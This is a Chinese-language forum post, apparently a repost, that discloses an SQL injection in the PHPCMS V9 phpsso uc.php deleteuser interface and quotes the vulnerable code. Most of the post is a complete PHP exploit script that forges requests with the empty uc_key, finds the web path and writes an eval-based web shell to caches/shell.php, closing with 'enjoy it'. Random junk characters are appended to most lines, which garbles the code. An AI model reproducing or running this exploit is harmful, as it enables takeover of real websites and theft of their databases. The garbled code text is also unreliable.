PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
: V- p* @+ c9 E% F, t' e
2 w: G; t/ p7 V: j, B" S所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。5 q) Q% N6 i! w$ R$ \
% @* O; o! w J- B) A1 s! r I
漏洞分析:
' L. v) z" w+ c! h' N6 w" F1.未启用ucenter服务的情况下uc_key为空& N" T* Y X% a1 o2 j( D
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
" I* X1 V' a4 h" I" f2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
- B6 x! O. X- n, n public function deleteuser($get,$post) {
$ d" h/ y* N5 g' i; a5 _ pc_base::load_app_func('global', 'admin');
* I9 w' t0 S! X J/ @1 q; Y pc_base::load_app_class('messagequeue', 'admin' , 0);( k: G* T' c6 b- o& p
$ids = new_stripslashes($get['ids']);! G5 C% Z" D4 B3 ?& @' B
$s = $this->member_db->select("ucuserid in ($ids)", "uid");: I$ [8 e8 z0 y, |- E
SQL语句为
/ Q. e: D+ |5 n1 S. uSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)7 }' E& J, I+ @0 J' {5 u
3 j: p2 ?$ w: g$ h5 ^8 O利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell, [0 e) N$ f* t) y0 K8 W% R( ?
<?php
2 A* j3 t( Q @4 ]4 zprint_r('
& m/ k" m0 c6 l* O: Q/ u) M---------------------------------------------------------------------------5 X$ ]; c( |+ ?+ U7 V" n- K* p
PHPcms (v9 or Old Version) uc api sql injection 0day- b5 {5 m; W/ k+ z& u8 Y& _
by rayh4c#80sec.com
# F) a! h5 v; u/ a---------------------------------------------------------------------------
7 M) G) e7 _' o; o$ S- V');
* k& J6 P, M2 v$ B- o) t4 c& k
4 e1 E( D( U/ Y: W% Mif ($argc<3) {
! y: S3 s9 g$ W8 R2 ~! C print_r('
3 }2 m2 P$ t& C---------------------------------------------------------------------------2 ^1 B ^. \4 @6 M e7 l% I6 Q
Usage: php '.$argv[0].' host path OPTIONS# a o* n. \0 ^, m, w
host: target server (ip/hostname)8 q' v9 `" u' j9 a2 u- `' ^6 d
path: path to phpcms& b# U) O3 ~7 y4 H' o- n
Options:: h' t/ @& ?' @
-p[port]: specify a port other than 80% i% D+ p- E1 P9 z5 i
-P[ip:port]: specify a proxy
6 O1 v9 v+ c1 y( iExample:3 K1 i- B* h2 M/ g8 i3 z
php '.$argv[0].' localhost /
9 z7 s W0 k# ?/ \) `php '.$argv[0].' localhost /phpcms/ -p811 m! S) K2 g [8 H% }, i- f( w
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80 A, f& _. x% F; Q; w$ e) y6 T
---------------------------------------------------------------------------
/ g {) `" K5 g, N& B' w3 I v');
8 ^* n4 l# o) M$ }. [7 L! c; r J die;
9 l( K, I6 @4 c( r! ~}4 F: X# m0 R* v1 E! p, y
1 y( O! d( l9 H" v- h7 u; ?3 \
error_reporting(7);: m$ o3 l% i$ O: O* n
ini_set("max_execution_time",0);# P% \% _! \. H# ]1 [. e
ini_set("default_socket_timeout",5);
; Q0 {; y0 P, [, l0 G7 L8 l& D& [. }( O' v
function quick_dump($string)
5 }# D+ ]: p( H) b4 |$ Y{. ?3 h) l% ^5 l* ?* t$ F4 _
$result='';$exa='';$cont=0;
! M( f$ S$ d% y& R6 S5 W8 ^ for ($i=0; $i<=strlen($string)-1; $i++). b8 |# L1 `6 b- U; k, s, s
{
: w D( l* }5 m/ i: O2 O. @ if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))1 |' n; P. X v
{$result.=" .";}! U# t4 ]- k# I
else
! l2 b" x- R9 s! |4 b$ I {$result.=" ".$string[$i];}- |( K! b5 m/ `% k8 L _5 d! U; ?
if (strlen(dechex(ord($string[$i])))==2)
6 M/ A* z8 S+ \9 A {$exa.=" ".dechex(ord($string[$i]));}/ V m6 F: e# W
else/ m& _- X* i# G# V) K M
{$exa.=" 0".dechex(ord($string[$i]));}
) b3 S, S o' u- U $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
, l P& V- j* q7 W }$ e) |3 S ^$ m7 x+ s: \
return $exa."\r\n".$result;* X7 [7 {; C# @6 l
}
' F8 Y. `4 l/ ~, G% n8 Q' h G Y' T$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';* q x# ^5 V7 W( a# } I' b
3 h9 v& C2 ^7 p4 {# i# P9 o) I# a
function send($packet)* Q- K2 {: z- y' o
{' P! q2 ]4 ]8 f; }! r9 P
global $proxy, $host, $port, $html, $proxy_regex;
6 E5 i" k+ J# t6 {7 ] if ($proxy=='') {
" Q S3 d% L" Q. f+ [ $ock=fsockopen(gethostbyname($host),$port);
6 A# q# h2 c( e) Y; [& Y+ l if (!$ock) {
0 P9 T g5 Y. A4 f" @0 h" Z echo 'No response from '.$host.':'.$port; die;
% E/ i" v( B9 d4 F- P. W) ~* { }
y7 [, {0 {9 \) z }
C F/ d9 `! \# H% k else {
# |5 L7 @% F$ ^( V $c = preg_match($proxy_regex,$proxy);) y8 P+ \9 T5 \ n/ | L
if (!$c) {+ t% N9 W9 J/ S! a* K
echo 'Not a valid proxy...';die;
7 {1 `) |. ^2 _: j6 L$ U }
8 d6 l+ R/ Y3 J) t, \6 H5 ~ $parts=explode(':',$proxy); _* t! ^( W" ?7 C
$parts[1]=(int)$parts[1];
8 X/ m' I8 i5 M5 W5 i# z echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
6 R- r' J/ p, r $ock=fsockopen($parts[0],$parts[1]);
1 `& ?$ r. W" l2 [7 D \3 W0 n0 Y/ ` if (!$ock) {8 Y& u7 l- f0 Y$ k
echo 'No response from proxy...';die;
. ^( \6 x w; r. z! |. S }
8 D) g! X% h$ l2 p }
( a) P& t0 s" D! l fputs($ock,$packet);
5 B* @4 v7 p* q# O3 P if ($proxy=='') {, z* ]4 e/ J( x2 {9 @ [5 U( W
$html='';4 ?( p' \5 a- Y5 g+ V
while (!feof($ock)) {: ?. U- Q4 S6 U0 r- D
$html.=fgets($ock);
# L8 L0 A9 p+ D1 X- M3 P( K- x m5 W }
1 Q. D* e7 l$ t }
! H+ M: o1 K& h9 K6 v. l& K' J' a else {( V, d7 k' U) |. N9 J
$html='';
- T0 n$ R6 |. Y" f' C e while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {: Y) ]+ [- Z+ i2 X7 L
$html.=fread($ock,1);. V% w1 e5 S6 V8 \6 @! E: E
}/ F( m. t0 Y- ^
}8 C6 K( V1 S% |8 h }. q# x# o4 N
fclose($ock);
# j6 o/ b2 E, ]0 {}
; P B/ K4 C8 b) F6 d8 ^5 _
0 M6 {) K; q3 C+ d" q2 S; g* W$host=$argv[1];+ m# u# W3 G+ F1 O( r, t# K
$path=$argv[2];; [( ` L' {2 J2 y/ c% P
$port=80;
0 w+ D3 @ ~; L! a4 p) X6 T* N$proxy="";7 D/ q$ n1 `( d" J
for ($i=3; $i<$argc; $i++){& K+ |& h9 G& D4 a( h* i
$temp=$argv[$i][0].$argv[$i][1];
2 P0 a- a5 D1 p: D0 cif ($temp=="-p")0 D* g9 ^7 K/ w# F
{
: E1 e0 S' A I" C5 u2 K $port=(int)str_replace("-p","",$argv[$i]); {! E) g- ] s5 E# L
}* B+ ?; s; b( W8 P$ O
if ($temp=="-P")
2 d, E. u' J5 n5 L{
3 Z+ @3 z" E( Z" W3 f" w $proxy=str_replace("-P","",$argv[$i]);: a3 p( N! i0 T6 @& D/ G' H4 I
}
4 f! A# H! o4 @; L$ X}
C1 Y5 M* V3 w" R. P T- Q
* t2 r) `2 E) N. x7 r( }if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
; D% U6 G5 E$ [, N3 e, j; `if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
K9 `. X; m3 x6 e. w5 U: x% J/ ]0 y
1 F6 u6 q' H$ z& Hfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {- f E% q9 J7 u- o
5 t+ A5 x* P+ e) v2 u $ckey_length = 4;
$ S, f* Q$ L. e( g' }: U0 G: R: [0 ~, x# K% n
$key = md5($key ? $key : '');
7 x( h" I( b5 K+ y8 y- \$ U( }) _9 @5 k $keya = md5(substr($key, 0, 16));
7 X% `4 ]2 a$ X: k$ T $keyb = md5(substr($key, 16, 16));% [6 A. y. W5 S; Y% c# O
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';/ k& p' w% V% D
1 K8 {4 c* O* f+ T6 F0 y6 n $cryptkey = $keya.md5($keya.$keyc);4 M% ^' P7 w7 ]/ r: {7 a
$key_length = strlen($cryptkey);
0 Z2 ?- [; r+ |9 @4 L, w3 x) b9 ]
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;! ^2 S: D# d+ K' O
$string_length = strlen($string);
* K. a/ W- a) e3 o; M$ f( G
r9 L) n; K% G/ z% F$ z# V$ O. t; F $result = '';
0 x# _- j1 E) V- f; h $box = range(0, 255);
2 L: ?7 g4 N) K$ ^: j, z- R! G. Z- [# O% ], J2 {
$rndkey = array();6 H/ m; z$ N: K: @* C. c
for($i = 0; $i <= 255; $i++) {
3 ^: E9 n0 h0 r( o: e" p $rndkey[$i] = ord($cryptkey[$i % $key_length]);
/ P; q& h) W; ~7 c1 a }
( N9 j8 k, a* O
( T* T6 J) Z% @; O for($j = $i = 0; $i < 256; $i++) {
4 d5 u& h4 f* j, ?- x3 J- H9 Y6 v/ r3 k. o $j = ($j + $box[$i] + $rndkey[$i]) % 256;; F1 k5 z6 y( V' D
$tmp = $box[$i];
# v. Q. k, h$ G, i9 K $box[$i] = $box[$j];5 f, v) g6 V A! |. C, D
$box[$j] = $tmp;7 n8 J8 A6 j; j; c
}& Q. y& X7 y- R$ [3 O, k
+ h$ n/ U: B: A8 s% B) T2 Y5 G
for($a = $j = $i = 0; $i < $string_length; $i++) {" b9 ]% ~; k" O4 U) ` n
$a = ($a + 1) % 256;
& M) x2 D% d3 I2 W8 F) R $j = ($j + $box[$a]) % 256;: u( m& \! B4 N
$tmp = $box[$a];0 j. U- y- F' k$ T4 Y' s/ {
$box[$a] = $box[$j];1 I; o) t6 t) d6 v. N
$box[$j] = $tmp;
. O7 Y. T$ V0 e $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
0 H1 E2 c% E8 I6 Q: F" Q& p8 l }& a6 x r# N+ I. ~8 B! X
) F& }) Q+ S* Y3 H- q
if($operation == 'DECODE') {" E9 J! u% _* L7 y
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {( c) I( N- [( q/ V# o
return substr($result, 26);
8 \" C7 }7 N, R" {' ~; \0 t2 m3 x D# K } else {
; r+ n$ I$ v* @3 C return '';3 Q. |. G; N3 q4 C. o' @) i
}' a9 O. D8 H9 m7 y: n
} else {
, k4 Q6 D3 e H4 ]" \3 G return $keyc.str_replace('=', '', base64_encode($result));
9 Z, ?4 v, ]/ U' x7 S5 ` }5 S9 _9 L0 \ Z- S. u/ X
3 w; }8 U% C2 n" @9 M}; x k! l- K0 u; k3 G W8 ^5 c) g' U
! Z, k. p8 i& H7 d& C5 `
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";4 V2 k# \! G; K; g' m
$SQL = urlencode(authcode($SQL, "ENCODE", ""));, M/ g% @' l: k9 b0 |
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( a, o* {# x5 P: J7 W
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
, L! h$ d- \2 u9 s3 ^4 l* f$packet.="User-Agent: Mozilla/5.0\r\n";* O8 K. d5 M6 M8 b. j) m( w! T) M: o
$packet.="Host: ".$host."\r\n";
+ F' o; _9 O3 z( W, n; W$packet.="Connection: Close\r\n\r\n";" O" l# I8 e- {! i
send($packet);
2 U& Z1 F% y- z/ wif(strpos($html,"MySQL Errno") > 0){+ a$ x" H. g: Q0 Z1 e3 Y9 h- Z
echo "[2] 发现存在SQL注入漏洞"."\n";
& g! i7 C! T7 V$ O2 ]5 Gecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";$ n7 {% z4 `' ~
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";; k1 H9 d- n. @$ x; _& e, {' |' G/ t
$packet.="User-Agent: Mozilla/5.0\r\n";* a- @/ q% U8 h2 v [
$packet.="Host: ".$host."\r\n";
5 H+ X) r0 g6 m% w) c/ z$packet.="Connection: Close\r\n\r\n";" J/ q2 f' W+ h5 X9 M
send($packet);
3 M7 c$ o6 Q o; i8 xpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);; ^/ M1 s0 G1 h" k, e0 I# b& m
//print_r($matches);3 E+ U% a4 l# \$ k3 Z
if(!empty($matches)){' ^3 m2 Z3 Q5 Q v; o. ~$ a2 e
echo "[4] 得到web路径 " . $matches[0]."\n";8 V" a J' B8 h; [/ B
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
% {5 v* }. z; P z5 f$SQL = "time=999999999999999999999999&ids=1)";+ s& L. w! ~9 J1 X' y
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";- Y( ]+ `! e q' H, }% D
$SQL.="&action=deleteuser";
2 L0 ^( p( j2 t9 t2 E- s% y- R$ B$SQL = urlencode(authcode($SQL, "ENCODE", ""));
) C9 q$ j! y1 Z* Aecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# P( S5 b q4 F$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
3 F8 A4 B8 z' `' Q$packet.="User-Agent: Mozilla/5.0\r\n";
3 E7 h; c( H+ v# t$packet.="Host: ".$host."\r\n";" i+ o: `. z1 X% S" ?& }
$packet.="Connection: Close\r\n\r\n";
+ n9 T$ L7 H Asend($packet);
$ r- U- i- C, Y% ]3 }8 p4 |if(strpos($html,"Access denied") > 0){
% t9 P) `2 M$ g: i9 S4 |echo "[-] MYSQL权限过低 禁止写入文件 ";+ g. _" k8 W4 T
die;& v/ `: R' |% l
}9 J0 o" i7 F9 Y( R
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
4 u9 V# b4 h$ Y) m+ W# ^7 w9 m$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
I9 R% Y) V% d) t* Y$packet.="User-Agent: Mozilla/5.0\r\n";! C- y: B! C+ i' C1 Z0 F
$packet.="Host: ".$host."\r\n";" f6 N3 O; F, A6 a
$packet.="Connection: Close\r\n\r\n";
1 n7 Q- [ S; c: }send($packet);
" {2 b- R0 `1 r/ o$ I0 v1 gif(strpos($html,"<title>phpinfo()</title>") > 0){
' s% e x, `3 N( c. d/ `echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";( z2 d+ a! H# D( k$ f: J
}- h* C$ X1 a ^+ l! A
}else{. C# l) B4 S0 m9 q
echo "[-]未取到web路径 ";
& ~0 V. Y* D1 E- K* z7 A- d# x}+ Z7 T3 }9 H C6 a8 U, C
}else{" V. x. h. \& M
echo "[*]不存在SQL注入漏洞"."\n";
9 T8 \! T: T( d" Q, g}
% I1 g3 t% h( }! ^0 F
: v8 g2 q0 ?' m& c* v' O! `8 V?>9 a; w& ^( @" p5 C7 }% H
|